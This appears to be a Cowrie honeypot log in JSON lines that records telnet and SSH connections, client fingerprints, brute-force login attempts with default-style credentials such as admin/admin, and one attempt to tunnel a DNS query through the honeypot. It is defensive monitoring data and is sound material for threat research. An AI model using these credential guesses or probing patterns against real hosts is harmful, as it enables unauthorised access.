{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43410,"dst_ip":"10.17.0.5","dst_port":23,"session":"a531ba093b06","protocol":"telnet","message":"New connection: 45.58.127.90:43410 (10.17.0.5:23) [session: a531ba093b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:01:59.382315Z"}
{"eventid":"cowrie.session.closed","duration":4.446157217025757,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:03.828340Z","src_ip":"45.58.127.90","session":"a531ba093b06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.199.211","src_port":32444,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e73492bfa0","protocol":"telnet","message":"New connection: 144.124.199.211:32444 (10.17.0.5:23) [session: e0e73492bfa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:06.043640Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42706,"dst_ip":"159.203.135.109","dst_port":23,"session":"0082e361ef97","protocol":"telnet","message":"New connection: 147.182.143.59:42706 (159.203.135.109:23) [session: 0082e361ef97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:08.250609Z"}
{"eventid":"cowrie.session.closed","duration":40.9960298538208,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:10.219095Z","src_ip":"45.58.127.90","session":"01edde42f762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52942,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c320e8a0534","protocol":"telnet","message":"New connection: 45.58.127.90:52942 (10.17.0.5:23) [session: 3c320e8a0534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:13.664847Z"}
{"eventid":"cowrie.session.closed","duration":10.996792316436768,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:19.247274Z","src_ip":"147.182.143.59","session":"0082e361ef97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.310994148254395,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:21.354513Z","src_ip":"144.124.199.211","session":"e0e73492bfa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40838,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e364470c28","protocol":"telnet","message":"New connection: 147.182.143.59:40838 (159.203.135.109:23) [session: a4e364470c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:32.802185Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":52870,"dst_ip":"10.17.0.5","dst_port":22,"session":"a42d66782643","protocol":"ssh","message":"New connection: 79.104.0.82:52870 (10.17.0.5:22) [session: a42d66782643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:33.265252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:33.270317Z","src_ip":"79.104.0.82","session":"a42d66782643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:33.422019Z","src_ip":"79.104.0.82","session":"a42d66782643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"halflifeserver","message":"login attempt [root/halflifeserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:34.061852Z","src_ip":"79.104.0.82","session":"a42d66782643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:35.215839Z","src_ip":"79.104.0.82","session":"a42d66782643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.107484817504883,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:46.909532Z","src_ip":"147.182.143.59","session":"a4e364470c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36964,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9bf250a568","protocol":"ssh","message":"New connection: 87.251.64.176:36964 (10.17.0.5:22) [session: 4b9bf250a568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:50.994906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:50.999665Z","src_ip":"87.251.64.176","session":"4b9bf250a568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:51.096468Z","src_ip":"87.251.64.176","session":"4b9bf250a568","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:51.385907Z","src_ip":"87.251.64.176","session":"4b9bf250a568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49960,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e876f0fbb2a","protocol":"telnet","message":"New connection: 45.58.127.90:49960 (10.17.0.5:23) [session: 0e876f0fbb2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:51.446881Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:51.485231Z","session":"4b9bf250a568","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:51.583653Z","src_ip":"87.251.64.176","session":"4b9bf250a568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:51.682043Z","src_ip":"87.251.64.176","session":"4b9bf250a568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.80082583427429,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:02:54.465579Z","src_ip":"45.58.127.90","session":"3c320e8a0534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52230,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9891fa6f61","protocol":"telnet","message":"New connection: 147.182.143.59:52230 (159.203.135.109:23) [session: df9891fa6f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:10.350447Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52240,"dst_ip":"159.203.135.109","dst_port":23,"session":"b88acee566bb","protocol":"telnet","message":"New connection: 147.182.143.59:52240 (159.203.135.109:23) [session: b88acee566bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:11.058714Z"}
{"eventid":"cowrie.session.closed","duration":12.932328462600708,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:23.282656Z","src_ip":"147.182.143.59","session":"df9891fa6f61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37690877914429,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:23.823696Z","src_ip":"45.58.127.90","session":"0e876f0fbb2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":40618,"dst_ip":"10.17.0.5","dst_port":22,"session":"55a42778cbc1","protocol":"ssh","message":"New connection: 79.104.0.82:40618 (10.17.0.5:22) [session: 55a42778cbc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:24.342748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:24.347602Z","src_ip":"79.104.0.82","session":"55a42778cbc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:24.491614Z","src_ip":"79.104.0.82","session":"55a42778cbc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwe123","message":"login attempt [admin/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:25.093194Z","src_ip":"79.104.0.82","session":"55a42778cbc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53440,"dst_ip":"10.17.0.5","dst_port":23,"session":"87413ccb7ac4","protocol":"telnet","message":"New connection: 45.58.127.90:53440 (10.17.0.5:23) [session: 87413ccb7ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:26.131232Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:26.239555Z","src_ip":"79.104.0.82","session":"55a42778cbc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:28.031277Z","src_ip":"47.239.15.75","session":"b467f6450459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57250,"dst_ip":"10.17.0.5","dst_port":23,"session":"07c753af8c85","protocol":"telnet","message":"New connection: 45.58.127.90:57250 (10.17.0.5:23) [session: 07c753af8c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:29.270769Z"}
{"eventid":"cowrie.session.closed","duration":120.00726461410522,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:34.961698Z","src_ip":"179.119.25.114","session":"32e34f482992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57252,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3df1fa2a79d","protocol":"telnet","message":"New connection: 45.58.127.90:57252 (10.17.0.5:23) [session: d3df1fa2a79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:36.723920Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":39098,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebdc52117e0b","protocol":"telnet","message":"New connection: 179.119.25.114:39098 (159.203.135.109:23) [session: ebdc52117e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:37.754550Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54638,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ebac67c8b64","protocol":"ssh","message":"New connection: 47.239.15.75:54638 (159.203.135.109:22) [session: 2ebac67c8b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:41.412741Z"}
{"eventid":"cowrie.session.closed","duration":120.00400137901306,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:43.946641Z","src_ip":"179.119.25.114","session":"be42e8bd5930","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:48.626312Z","src_ip":"47.239.15.75","session":"2ebac67c8b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:48.633649Z","src_ip":"47.239.15.75","session":"2ebac67c8b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43464,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e3db609a0b5","protocol":"telnet","message":"New connection: 45.58.127.90:43464 (10.17.0.5:23) [session: 7e3db609a0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:57.491346Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56914,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51698e84ff3","protocol":"telnet","message":"New connection: 147.182.143.59:56914 (159.203.135.109:23) [session: a51698e84ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:57.800809Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:03:58.039425Z","src_ip":"47.239.15.75","session":"b467f6450459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:04.384552Z","src_ip":"47.239.15.75","session":"2ebac67c8b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.6","message":"Connection lost after 24.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:06.055952Z","src_ip":"47.239.15.75","session":"2ebac67c8b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.212.106.201","src_port":59623,"dst_ip":"159.203.135.109","dst_port":23,"session":"93cf6d29d66c","protocol":"telnet","message":"New connection: 176.212.106.201:59623 (159.203.135.109:23) [session: 93cf6d29d66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:08.514143Z"}
{"eventid":"cowrie.session.closed","duration":39.29112792015076,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:08.561769Z","src_ip":"45.58.127.90","session":"07c753af8c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.5247802734375,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:09.655895Z","src_ip":"45.58.127.90","session":"87413ccb7ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.09832406044006,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:10.156746Z","src_ip":"147.182.143.59","session":"b88acee566bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.489038228988647,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:12.289694Z","src_ip":"147.182.143.59","session":"a51698e84ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60928,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0e93778d060","protocol":"telnet","message":"New connection: 45.58.127.90:60928 (10.17.0.5:23) [session: f0e93778d060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:15.991206Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.102.145.195","src_port":60350,"dst_ip":"159.203.135.109","dst_port":23,"session":"9873d03ffebc","protocol":"telnet","message":"New connection: 201.102.145.195:60350 (159.203.135.109:23) [session: 9873d03ffebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:17.252759Z"}
{"eventid":"cowrie.session.closed","duration":42.796772956848145,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:19.520453Z","src_ip":"45.58.127.90","session":"d3df1fa2a79d","protocol":"telnet"}
